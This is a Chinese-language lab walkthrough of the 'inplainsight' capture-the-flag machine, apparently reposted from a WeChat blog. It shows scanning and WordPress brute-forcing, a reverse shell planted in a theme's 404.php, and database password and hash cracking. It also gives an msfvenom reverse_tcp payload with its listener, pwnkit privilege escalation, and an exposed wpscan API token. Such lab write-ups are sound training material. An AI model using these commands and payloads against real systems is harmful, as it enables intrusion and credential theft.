inplainsight

admin 2025年3月21日10:54:40评论12 views字数 125阅读0分25秒阅读模式

攻击者IP:192.168.56.141 桥接(自动) vmare

受害者IP:192.168.56.142 仅主机 vmbox

参考:https://blog.csdn.net/weixin_54430466/article/details/121678118

https://mp.weixin.qq.com/s/BfBWcjDixhAmbun6wneXpw

https://www.cnblogs.com/jason-huawen/p/17322729.html

主机发现

arp-scan -I eth1 -l

inplainsight

端口扫描

nmap -p- -sV 192.168.56.142

inplainsight

查看ftp文件

迈克-请得到骑那个毫无价值的wordpress实例!这是安全隐患。如果您有特权问题,请向joe寻求帮助。joe-停止在系统上留下后门程序,否则您的访问权限将被删除!你的rabiit漏洞是不够的,这些精英网络黑客类型。-老板

inplainsight

web页面

inplainsight

目录扫描1

dirb http://192.168.56.142 -X .txt,.php,.zip

inplainsight

目录扫描2

可以看出是wpcms

dirsearch -u http://192.168.56.142

inplainsight

目录扫描3

gobuster dir -u http://192.168.56.142/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

inplainsight

目录扫描4:

feroxbuster -u http://192.168.56.142/

inplainsight

info.php

inplainsight

wpscan扫描

wpscan --url http://192.168.56.142/wordpress/ --api-token SRhGO29F6HA9ctoX0TSSY5gm0U3PZENJPPWvlqBkSPk

inplainsight

得到一个用户名 bossperson

inplainsight

爆破一下密码

wpscan --url http://192.168.56.142/wordpress/ -U bossperson -P /root/top1000.txt 

inplainsight

没出货

inplainsight

更详细的目录扫描

gobuster dir -u http://192.168.56.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,html.bak,json,git,git.bak,zip,zip.bak,htnl --exclude-length 0--exclude-length 0 意味着你想要排除所有响应长度为0的页面。

inplainsight

访问http://192.168.56.142/index.htnl

inplainsight

点击图片后发现可以上传图片

inplainsight

gif89a

没有文件路径,也没找到

inplainsight

源代码中有base64解密

c28tZGV2LXdvcmRwcmVzcw==

inplainsight

so-dev-wordpress

inplainsight

另一个wp的路径

inplainsight

/etc/hosts,修改hosts文件

inplainsight

inplainsight

接着用wpscan扫一下

wpscan --url http://192.168.56.142/so-dev-wordpress/ -e u,p 

inplainsight

inplainsight

找到用户

admin

mike

爆破密码

wpscan --url http://192.168.56.142/so-dev-wordpress/ -U use.txt -P /root/top1000.txt

inplainsight

得到密码

admin / admin1

inplainsight

或者换个小的密码本速度更快一点

wpscan --url http://192.168.56.142/so-dev-wordpress/ -U use.txt -P /usr/share/wordlists/dirb/common.txt

inplainsight

inplainsight

登录网站

http://inplainsight/so-dev-wordpress/wp-admin/

找到主题编辑,编辑代码

inplainsight

编辑的主题是twentytwenty

所以路径是

http://inplainsight/so-dev-wordpress/wp-content/themes/twentytwenty/404.php

反弹shell

inplainsight

inplainsight

home有两个用户

inplainsight

查看配置文件发现数据库的用户密码

数据库名:sodevwp

用户名:sodevwp

密码:oZ2R3c2x7dLL6#hJ

inplainsight

登录mysql

python3 -c "import pty; pty.spawn('/bin/bash')"

mysql -u sodevwp -poZ2R3c2x7dLL6

inplainsight

获得admin和mike的哈希

inplainsight

爆破哈希

john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt

john hash.txt --show --format=phpass

admin/admin1

mike/skuxdelux

inplainsight

切换用户mike

inplainsight

cat /etc/passwd-

/etc/passwd-是/etc/passwd的备份

/etc/passwd: 用户账户的详细信息在此文件中更新。用户名:密码:用户 ID:群组 ID:用户 ID 信息:用户的家目录: Shell/etc/shadow: 用户账户密码在此文件中更新。/etc/group: 新用户群组的详细信息在此文件中更新。/etc/gshadow: 新用户群组密码在此文件中更新。

inplainsight

获得joe的密码

joe/SmashMouthNoThanks

切换到joe

查看suid权限

find / -user root -perm -4000 -print 2>/dev/null

inplainsight

Bubblewrap 是一个为 Linux 系统设计的沙箱工具,它可以用来在一个隔离的环境中运行应用程序,从而提高安全性。这对于阻止潜在的安全漏洞扩散到系统的其他部分特别有用。

执行bwarp,获得root

inplainsight

方法2:

msf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.141 LPORT=2222 -f elf -o msf.elf-p linux/x86/meterpreter/reverse_tcp: 指定要创建的 payload 类型。LHOST=192.168.56.141: 设置监听主机的 IP 地址,即攻击者控制的机器,有效载荷将发送连接到这个地址。LPORT=2222: 设置监听端口,有效载荷将尝试通过这个端口连接到 LHOST。-f elf: 指定输出格式为 ELF (Executable and Linkable Format),这是 Linux 下的常见可执行文件格式。-o msf.elf: 指定输出文件的名称。

inplainsight

msf监听2222端口

msfconsoleuse exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset LHOST 192.168.56.141set LPORT 2222exploit

inplainsight

靶机下载并运行

inplainsight

使用linux提权工具suggester

使用bg或ctrl+z将会话放到后台

use post/multi/recon/local_exploit_suggester

set session 1

run

inplainsight

有一些漏洞可以利用

#NamePotentially Vulnerable?Check Result ---------------------------------------- 1exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecYesThe target is vulnerable. 2exploit/linux/local/netfilter_priv_esc_ipv4YesThe target appears to be vulnerable. 3exploit/linux/local/pkexecYesThe service is running, but could not be validated. 4exploit/linux/local/su_loginYesThe target appears to be vulnerable. 5exploit/linux/local/sudoedit_bypass_priv_escYesThe target appears to be vulnerable. Sudo 1.8.27.pre.1ubuntu4 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module

inplainsight

使用use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

inplainsight

获得root

inplainsight

原文始发于微信公众号(王之暴龙战神):inplainsight

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日10:54:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   inplainsighthttps://cn-sec.com/archives/3860008.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息